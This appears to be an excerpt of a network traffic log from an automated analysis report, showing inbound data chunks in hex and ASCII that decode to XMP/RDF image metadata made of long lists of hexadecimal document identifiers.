2022-07-20 13:44:17 UTC	1980	IN	Data Raw: 41 34 45 35 36 32 37 35 43 42 46 39 33 34 44 45 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 36 45 43 35 37 30 42 35 38 46 35 46 30 41 41 30 39 31 39 34 42 42 35 46 30 33 41 43 45 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 37 33 34 30 45 44 39 35 38 30 36 41 39 41 43 42 46 46 38 38 30 41 39 44 35 45 45 35 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 37 35 33 31 44 38 46 44 36 30 46 32 44 36 41 32 34 38 42 42 32 35 30 46 39 32 39 31 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 37 45 44 32 38 41 31 35 44 46 36 45 38 34 36 30 36 36 34 38 43 38 30 42 37 42 41 36 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 35 38 35 35 46 39 41 46 37 30 46 36 33 45 35 32 36 37 Data Ascii: A4E56275CBF934DE81</rdf:li> <rdf:li>456EC570B58F5F0AA09194BB5F03ACE3</rdf:li> <rdf:li>457340ED95806A9ACBFF880A9D5EE525</rdf:li> <rdf:li>457531D8FD60F2D6A248BB250F929113</rdf:li> <rdf:li>457ED28A15DF6E84606648C80B7BA65A</rdf:li> <rdf:li>45855F9AF70F63E5267
2022-07-20 13:44:17 UTC	2059	IN	Data Raw: 33 42 43 33 42 39 45 41 33 38 31 32 42 36 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 36 34 35 43 37 33 41 45 45 42 42 41 30 42 41 46 30 42 45 31 44 36 38 30 36 32 34 38 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 36 44 34 39 33 35 38 44 46 32 43 34 46 33 30 34 46 42 31 31 44 36 46 38 31 32 35 36 35 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 37 38 42 31 30 34 44 34 31 45 34 36 38 33 34 37 42 33 36 37 32 39 36 34 33 44 30 42 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 37 38 42 41 44 45 38 38 32 36 36 37 41 45 35 34 42 32 34 30 39 31 41 45 38 41 37 30 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 38 36 44 42 37 43 36 31 32 34 33 33 37 30 34 32 35 41 39 Data Ascii: 3BC3B9EA3812B68B</rdf:li> <rdf:li>4A645C73AEEBBA0BAF0BE1D68062484B</rdf:li> <rdf:li>4A6D49358DF2C4F304FB11D6F8125653</rdf:li> <rdf:li>4A78B104D41E468347B36729643D0BA1</rdf:li> <rdf:li>4A78BADE882667AE54B24091AE8A7086</rdf:li> <rdf:li>4A86DB7C61243370425A9
2022-07-20 13:44:17 UTC	2091	IN	Data Raw: 38 45 38 37 31 45 39 44 31 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 36 30 46 45 32 42 38 45 46 44 45 38 45 37 33 37 34 33 30 45 33 44 32 37 39 44 30 46 37 39 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 36 31 38 34 43 37 35 35 39 30 46 35 30 31 30 45 36 38 38 35 39 33 38 43 44 46 42 42 45 39 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 36 32 30 41 46 31 36 32 42 31 32 41 43 44 42 41 39 33 37 41 35 45 42 38 44 42 39 42 42 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 36 33 34 44 43 37 34 42 42 31 41 34 39 37 34 35 35 33 44 37 30 35 32 41 32 30 42 35 31 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 36 33 35 32 46 30 46 46 41 45 32 33 45 30 37 31 37 43 45 34 43 42 44 45 44 Data Ascii: 8E871E9D13A</rdf:li> <rdf:li>560FE2B8EFDE8E737430E3D279D0F797</rdf:li> <rdf:li>56184C75590F5010E6885938CDFBBE9C</rdf:li> <rdf:li>5620AF162B12ACDBA937A5EB8DB9BB52</rdf:li> <rdf:li>5634DC74BB1A4974553D7052A20B51A5</rdf:li> <rdf:li>56352F0FFAE23E0717CE4CBDED
2022-07-20 13:44:17 UTC	2195	IN	Data Raw: 33 34 33 43 31 46 33 39 44 30 35 36 30 33 43 41 44 34 43 32 45 46 44 39 45 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 34 38 38 41 30 35 39 32 41 44 34 36 44 32 46 31 32 34 31 31 42 36 34 44 44 38 44 37 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 34 42 32 43 34 36 31 31 32 41 44 35 38 33 42 41 30 36 42 41 42 39 30 38 34 44 36 34 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 35 33 37 39 35 39 34 30 34 37 41 38 38 35 41 34 43 46 46 38 45 46 46 30 42 33 45 36 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 35 36 45 38 30 46 33 38 39 45 36 42 39 42 41 32 36 43 39 35 34 41 44 38 30 34 30 43 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 33 35 37 45 41 37 34 42 33 Data Ascii: 343C1F39D05603CAD4C2EFD9E37</rdf:li> <rdf:li>63488A0592AD46D2F12411B64DD8D75B</rdf:li> <rdf:li>634B2C46112AD583BA06BAB9084D642E</rdf:li> <rdf:li>635379594047A885A4CFF8EFF0B3E66E</rdf:li> <rdf:li>6356E80F389E6B9BA26C954AD8040C36</rdf:li> <rdf:li>6357EA74B3
2022-07-20 13:44:17 UTC	2226	IN	Data Raw: 35 42 46 37 31 35 38 35 36 45 43 32 32 39 37 30 33 35 44 45 32 31 32 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 30 42 36 39 31 30 33 44 43 35 33 38 41 33 46 43 32 38 44 35 33 34 39 34 43 37 37 43 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 31 35 43 44 39 41 45 30 37 37 35 43 38 33 31 34 43 43 33 45 32 45 43 45 34 38 31 31 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 31 37 45 31 46 45 35 36 37 44 37 36 31 32 43 43 31 37 34 43 44 36 32 31 43 33 45 44 46 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 32 36 37 39 42 45 35 37 31 34 45 43 42 35 34 45 35 38 44 41 43 34 42 39 32 45 34 38 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 32 42 42 30 37 35 41 37 43 39 Data Ascii: 5BF715856EC2297035DE212EE</rdf:li> <rdf:li>690B69103DC538A3FC28D53494C77CF3</rdf:li> <rdf:li>6915CD9AE0775C8314CC3E2ECE4811EE</rdf:li> <rdf:li>6917E1FE567D7612CC174CD621C3EDF8</rdf:li> <rdf:li>692679BE5714ECB54E58DAC4B92E48E6</rdf:li> <rdf:li>692BB075A7C9
2022-07-20 13:44:17 UTC	2274	IN	Data Raw: 20 3c 72 64 66 3a 6c 69 3e 37 35 37 45 32 36 41 37 42 35 46 38 36 35 34 41 43 39 33 30 31 45 37 37 38 44 34 32 33 37 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 38 42 36 36 36 41 38 39 30 30 31 36 34 46 37 31 33 34 33 35 32 36 31 30 38 38 33 35 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 39 35 42 36 43 37 31 37 31 44 44 34 36 32 45 37 42 31 30 44 42 30 38 39 32 43 34 46 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 42 36 45 41 38 42 39 44 33 37 43 46 36 33 41 36 35 36 31 34 41 30 45 33 41 39 45 33 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 42 46 35 34 31 33 32 44 36 30 31 33 39 31 41 44 43 42 37 46 36 41 33 39 30 46 43 37 45 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 Data Ascii: <rdf:li>757E26A7B5F8654AC9301E778D42379D</rdf:li> <rdf:li>758B666A8900164F7134352610883584</rdf:li> <rdf:li>7595B6C7171DD462E7B10DB0892C4F31</rdf:li> <rdf:li>75B6EA8B9D37CF63A65614A0E3A9E3DF</rdf:li> <rdf:li>75BF54132D601391ADCB7F6A390FC7E9</rdf:li> <rdf
2022-07-20 13:44:17 UTC	2322	IN	Data Raw: 31 33 33 31 41 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 32 46 35 35 35 41 42 33 33 44 35 39 46 31 42 36 42 42 46 37 35 35 31 44 32 46 34 39 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 33 36 38 38 43 35 30 39 33 44 32 41 31 34 39 46 41 30 39 43 30 34 37 44 45 38 31 31 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 34 39 38 30 41 30 45 43 45 35 34 44 34 38 46 44 44 36 34 43 39 30 30 36 36 36 31 39 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 35 35 36 38 30 37 39 32 45 44 30 36 31 36 44 46 36 30 31 34 43 43 43 38 45 39 33 39 36 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 31 35 46 32 45 46 41 39 33 45 41 33 36 42 38 39 37 42 45 35 44 45 36 42 32 30 46 31 30 Data Ascii: 1331ACE</rdf:li> <rdf:li>812F555AB33D59F1B6BBF7551D2F4990</rdf:li> <rdf:li>813688C5093D2A149FA09C047DE8112F</rdf:li> <rdf:li>814980A0ECE54D48FDD64C900666191C</rdf:li> <rdf:li>8155680792ED0616DF6014CCC8E9396F</rdf:li> <rdf:li>815F2EFA93EA36B897BE5DE6B20F10
2022-07-20 13:44:17 UTC	2409	IN	Data Raw: 37 41 31 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 ff e1 ff c5 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 6d 70 2f 65 78 74 65 6e 73 69 6f 6e 2f 00 45 45 44 42 43 41 45 37 32 43 46 37 34 42 46 31 35 45 44 44 38 38 44 42 42 39 33 30 42 42 41 42 00 11 65 83 00 06 fc 48 36 32 31 33 35 34 46 36 35 46 43 44 37 38 35 35 31 46 42 31 31 38 43 44 30 38 43 41 43 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 36 32 37 44 42 36 45 33 43 42 30 43 34 38 36 43 38 46 31 37 43 30 37 32 38 46 44 46 36 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 36 32 37 45 37 36 32 31 44 39 43 32 41 31 34 39 31 31 37 35 46 34 37 31 42 45 46 41 44 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 36 32 Data Ascii: 7A1EF</rdf:li> <rdf:li>8http://ns.adobe.com/xmp/extension/EEDBCAE72CF74BF15EDD88DBB930BBABeH621354F65FCD78551FB118CD08CAC1B</rdf:li> <rdf:li>8627DB6E3CB0C486C8F17C0728FDF6B3</rdf:li> <rdf:li>8627E7621D9C2A1491175F471BEFAD11</rdf:li> <rdf:li>862
2022-07-20 13:44:17 UTC	2425	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 30 45 30 46 38 41 31 36 46 31 36 36 32 33 35 36 31 45 37 41 32 33 42 44 44 31 35 44 31 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 30 45 37 43 31 32 44 37 46 34 43 31 32 39 31 39 35 38 33 37 31 34 39 38 34 39 35 34 41 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 30 45 41 41 31 43 30 45 45 46 43 46 37 38 41 30 41 41 38 45 37 33 32 34 33 30 36 41 39 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 30 46 33 44 31 42 33 42 41 43 33 46 39 36 42 38 32 34 31 35 37 39 39 35 44 42 31 42 33 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 30 46 42 39 36 46 36 41 36 36 32 45 44 45 43 38 37 44 45 39 30 42 44 46 35 34 39 37 42 35 33 3c 2f 72 64 66 Data Ascii: </rdf:li> <rdf:li>90E0F8A16F16623561E7A23BDD15D1E6</rdf:li> <rdf:li>90E7C12D7F4C12919583714984954A7F</rdf:li> <rdf:li>90EAA1C0EEFCF78A0AA8E7324306A925</rdf:li> <rdf:li>90F3D1B3BAC3F96B824157995DB1B36D</rdf:li> <rdf:li>90FB96F6A662EDEC87DE90BDF5497B53</rdf
2022-07-20 13:44:17 UTC	2441	IN	Data Raw: 37 44 41 42 46 41 45 43 31 34 44 45 42 45 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 43 46 34 38 30 35 41 38 43 35 42 44 31 44 36 34 37 37 42 32 36 41 41 35 45 32 39 31 36 43 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 43 46 35 30 33 41 35 41 42 38 46 39 33 35 37 38 33 34 39 38 33 36 41 43 36 43 30 41 30 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 43 46 42 33 34 36 32 37 43 35 38 31 44 31 36 42 38 35 31 46 37 39 46 36 34 30 33 37 43 31 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 43 46 45 46 33 45 41 36 36 39 32 33 35 45 36 31 38 46 41 36 45 45 33 45 31 42 30 30 46 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 43 46 45 46 45 34 32 32 45 42 43 32 32 41 44 32 41 37 36 30 Data Ascii: 7DABFAEC14DEBEAC</rdf:li> <rdf:li>9CF4805A8C5BD1D6477B26AA5E2916C7</rdf:li> <rdf:li>9CF503A5AB8F93578349836AC6C0A07E</rdf:li> <rdf:li>9CFB34627C581D16B851F79F64037C1B</rdf:li> <rdf:li>9CFEF3EA669235E618FA6EE3E1B00F5B</rdf:li> <rdf:li>9CFEFE422EBC22AD2A760
2022-07-20 13:44:17 UTC	2496	IN	Data Raw: 44 35 31 34 38 39 43 33 36 34 30 43 38 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 32 42 43 35 30 42 32 44 46 31 37 33 42 35 34 41 32 41 33 37 34 37 37 35 44 43 36 30 31 39 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 32 43 30 32 37 38 45 37 37 33 35 43 35 36 45 43 38 43 44 46 39 45 39 30 45 30 36 42 33 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 32 43 33 42 46 43 41 46 30 34 33 35 43 42 32 34 44 37 39 38 41 30 44 42 32 44 36 30 45 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 32 44 32 44 38 45 43 45 34 30 36 37 41 39 42 37 32 32 46 46 34 46 46 34 44 38 38 30 34 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 32 46 32 38 36 45 32 42 32 34 36 37 32 36 35 44 43 33 37 32 33 41 Data Ascii: D51489C3640C8A</rdf:li> <rdf:li>A2BC50B2DF173B54A2A374775DC6019E</rdf:li> <rdf:li>A2C0278E7735C56EC8CDF9E90E06B3CA</rdf:li> <rdf:li>A2C3BFCAF0435CB24D798A0DB2D60EC2</rdf:li> <rdf:li>A2D2D8ECE4067A9B722FF4FF4D8804C0</rdf:li> <rdf:li>A2F286E2B2467265DC3723A
2022-07-20 13:44:17 UTC	2528	IN	Data Raw: 46 42 33 30 37 42 42 36 35 37 46 43 37 41 36 37 39 45 32 37 41 33 36 46 36 34 30 41 41 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 46 44 41 35 41 31 37 36 45 41 34 35 36 43 45 31 46 43 34 46 44 42 30 39 36 36 39 43 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 45 31 30 33 32 37 43 45 35 42 44 37 41 46 39 41 42 41 31 36 30 39 32 42 35 46 35 34 37 38 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 45 31 33 30 46 36 35 33 35 46 44 45 43 42 30 43 43 33 38 39 43 35 45 31 35 37 39 44 37 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 45 31 42 43 31 33 33 46 36 41 39 35 31 46 43 31 35 46 44 46 46 44 45 32 44 41 43 32 33 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 45 31 43 30 35 35 Data Ascii: FB307BB657FC7A679E27A36F640AAF</rdf:li> <rdf:li>ADFDA5A176EA456CE1FC4FDB09669C86</rdf:li> <rdf:li>AE10327CE5BD7AF9ABA16092B5F5478A</rdf:li> <rdf:li>AE130F6535FDECB0CC389C5E1579D7D3</rdf:li> <rdf:li>AE1BC133F6A951FC15FDFFDE2DAC2372</rdf:li> <rdf:li>AE1C055
2022-07-20 13:44:17 UTC	2544	IN	Data Raw: 36 38 39 38 39 44 35 30 41 46 39 37 44 45 39 36 39 38 39 44 41 36 42 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 31 35 45 31 41 31 35 33 46 39 42 46 35 36 46 45 46 30 30 34 35 31 35 42 30 38 36 41 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 32 44 42 35 39 34 31 37 34 45 34 46 30 44 39 33 42 43 31 34 33 37 30 33 41 46 37 43 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 33 36 30 39 42 38 37 39 46 46 38 46 41 32 41 36 35 43 31 35 42 33 37 39 44 39 42 39 46 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 33 38 30 43 38 33 34 33 39 46 42 36 32 32 35 46 43 31 38 45 36 44 32 33 38 32 38 30 46 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 34 31 42 39 38 39 44 46 31 46 Data Ascii: 68989D50AF97DE96989DA6B24</rdf:li> <rdf:li>B915E1A153F9BF56FEF004515B086A51</rdf:li> <rdf:li>B92DB594174E4F0D93BC143703AF7C87</rdf:li> <rdf:li>B93609B879FF8FA2A65C15B379D9B9F1</rdf:li> <rdf:li>B9380C83439FB6225FC18E6D238280FF</rdf:li> <rdf:li>B941B989DF1F
2022-07-20 13:44:17 UTC	2633	IN	Data Raw: 37 34 33 46 44 41 34 41 35 34 35 41 39 42 33 31 38 32 42 46 35 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 31 36 43 42 36 30 34 41 30 36 44 36 43 32 43 35 45 30 34 43 36 33 30 30 42 37 38 37 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 31 38 35 30 43 30 44 38 46 33 43 30 34 35 45 35 34 42 39 33 37 32 37 30 30 42 37 37 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 31 39 44 32 44 45 38 41 34 37 36 34 31 30 42 35 44 41 45 44 41 30 36 33 32 42 30 39 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 31 41 37 41 32 46 38 35 31 35 38 34 44 33 32 45 45 37 38 44 34 41 36 41 43 33 42 46 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 46 31 43 35 43 35 42 42 38 45 39 45 33 Data Ascii: 743FDA4A545A9B3182BF558</rdf:li> <rdf:li>BF16CB604A06D6C2C5E04C6300B7871F</rdf:li> <rdf:li>BF1850C0D8F3C045E54B9372700B7773</rdf:li> <rdf:li>BF19D2DE8A476410B5DAEDA0632B0906</rdf:li> <rdf:li>BF1A7A2F851584D32EE78D4A6AC3BF9A</rdf:li> <rdf:li>BF1C5C5BB8E9E3
2022-07-20 13:44:17 UTC	2671	IN	Data Raw: 72 64 66 3a 6c 69 3e 43 41 37 42 31 32 36 46 35 37 31 36 35 30 36 45 34 30 44 42 31 30 42 41 31 42 38 39 32 46 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 41 38 34 30 30 37 35 45 35 37 41 45 45 43 30 33 45 43 39 30 46 30 41 31 45 42 30 45 42 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 41 38 35 39 39 37 43 34 34 43 32 45 30 36 42 43 34 46 38 44 30 39 36 33 45 30 30 43 35 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 41 38 38 36 34 32 42 39 33 41 46 37 35 33 43 43 34 41 42 33 39 41 39 43 38 45 37 31 33 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 41 39 45 42 37 46 30 35 41 31 38 33 30 33 35 43 46 35 45 42 38 33 41 44 39 30 32 42 32 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c Data Ascii: rdf:li>CA7B126F5716506E40DB10BA1B892F4D</rdf:li> <rdf:li>CA840075E57AEEC03EC90F0A1EB0EBD7</rdf:li> <rdf:li>CA85997C44C2E06BC4F8D0963E00C55F</rdf:li> <rdf:li>CA88642B93AF753CC4AB39A9C8E713DB</rdf:li> <rdf:li>CA9EB7F05A183035CF5EB83AD902B27A</rdf:li> <rdf:l
2022-07-20 13:44:17 UTC	2703	IN	Data Raw: 39 38 35 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 44 37 45 31 41 32 32 31 34 46 41 32 37 44 35 31 30 35 41 38 37 32 32 44 35 30 42 44 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 44 45 31 33 43 36 38 37 32 35 43 33 36 42 34 32 34 30 36 33 43 37 31 42 39 37 42 41 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 45 34 39 36 35 34 35 42 36 34 44 38 34 42 33 41 38 35 33 46 38 37 31 39 39 41 45 36 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 45 43 31 30 43 35 46 38 34 41 32 38 43 44 32 33 44 42 44 32 39 32 37 41 34 37 37 37 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 45 44 43 38 46 37 39 33 38 38 41 31 42 32 34 30 36 41 33 41 45 35 33 35 31 36 43 45 45 32 Data Ascii: 98556</rdf:li> <rdf:li>D5D7E1A2214FA27D5105A8722D50BD7D</rdf:li> <rdf:li>D5DE13C68725C36B424063C71B97BA2B</rdf:li> <rdf:li>D5E496545B64D84B3A853F87199AE6EE</rdf:li> <rdf:li>D5EC10C5F84A28CD23DBD2927A4777CD</rdf:li> <rdf:li>D5EDC8F79388A1B2406A3AE53516CEE2
2022-07-20 13:44:17 UTC	2743	IN	Data Raw: 31 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 38 41 42 43 31 31 42 30 44 38 32 33 34 34 37 34 33 37 31 39 30 46 41 41 38 42 41 43 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 39 30 39 33 33 39 35 33 39 39 45 42 38 38 37 39 33 39 35 45 31 32 41 31 45 37 32 35 31 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 39 37 39 39 37 37 42 45 45 32 46 30 31 41 38 41 33 39 35 37 32 39 43 41 35 30 43 33 43 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 41 41 31 37 31 37 46 34 37 41 39 41 31 34 43 33 44 42 39 39 36 34 39 30 43 38 44 43 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 41 45 32 34 32 39 33 34 44 42 34 30 30 38 37 46 38 30 46 43 45 43 31 42 34 46 30 39 36 46 3c 2f Data Ascii: 1A8</rdf:li> <rdf:li>DB8ABC11B0D823447437190FAA8BAC67</rdf:li> <rdf:li>DB9093395399EB8879395E12A1E7251E</rdf:li> <rdf:li>DB979977BEE2F01A8A395729CA50C3C7</rdf:li> <rdf:li>DBAA1717F47A9A14C3DB996490C8DC42</rdf:li> <rdf:li>DBAE242934DB40087F80FCEC1B4F096F</
2022-07-20 13:44:17 UTC	2783	IN	Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 45 34 42 39 35 42 41 32 30 39 44 36 46 34 43 36 43 35 30 44 39 46 42 35 38 34 35 44 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 45 43 34 36 33 33 39 45 37 46 46 38 37 36 45 32 45 34 32 41 34 42 46 38 45 37 44 38 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 46 32 44 45 35 35 34 30 46 32 46 30 35 44 38 34 30 41 36 43 32 38 36 33 35 34 39 45 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 46 37 33 32 31 35 30 39 38 45 31 38 44 39 32 44 34 34 35 43 39 45 34 33 41 45 43 45 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 36 46 39 36 39 34 38 35 37 36 36 44 39 30 44 34 41 30 36 32 31 37 39 30 41 33 39 41 42 42 37 3c 2f 72 64 66 3a 6c Data Ascii: rdf:li> <rdf:li>E6E4B95BA209D6F4C6C50D9FB5845DBC</rdf:li> <rdf:li>E6EC46339E7FF876E2E42A4BF8E7D87B</rdf:li> <rdf:li>E6F2DE5540F2F05D840A6C2863549E86</rdf:li> <rdf:li>E6F73215098E18D92D445C9E43AECEB8</rdf:li> <rdf:li>E6F969485766D90D4A0621790A39ABB7</rdf:l
2022-07-20 13:44:17 UTC	2935	IN	Data Raw: 33 31 46 43 30 44 34 42 35 30 44 44 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 46 31 46 41 44 44 42 36 45 38 41 41 46 37 33 42 34 36 45 43 45 36 38 37 31 41 32 36 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 46 34 46 30 36 42 39 37 44 46 42 30 46 36 42 33 32 42 34 45 45 32 41 31 41 34 39 36 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 46 35 46 32 45 39 32 32 36 32 33 34 43 34 30 30 43 39 44 39 36 44 38 35 39 44 36 35 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 46 38 45 30 46 41 42 33 33 46 41 42 45 31 41 33 32 39 35 42 38 34 36 38 33 42 33 45 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 46 41 31 44 42 43 44 41 39 34 46 41 43 44 46 31 33 31 46 43 41 Data Ascii: 31FC0D4B50DD04</rdf:li> <rdf:li>F0F1FADDB6E8AAF73B46ECE6871A2694</rdf:li> <rdf:li>F0F4F06B97DFB0F6B32B4EE2A1A49674</rdf:li> <rdf:li>F0F5F2E9226234C400C9D96D859D65CF</rdf:li> <rdf:li>F0F8E0FAB33FABE1A3295B84683B3E69</rdf:li> <rdf:li>F0FA1DBCDA94FACDF131FCA
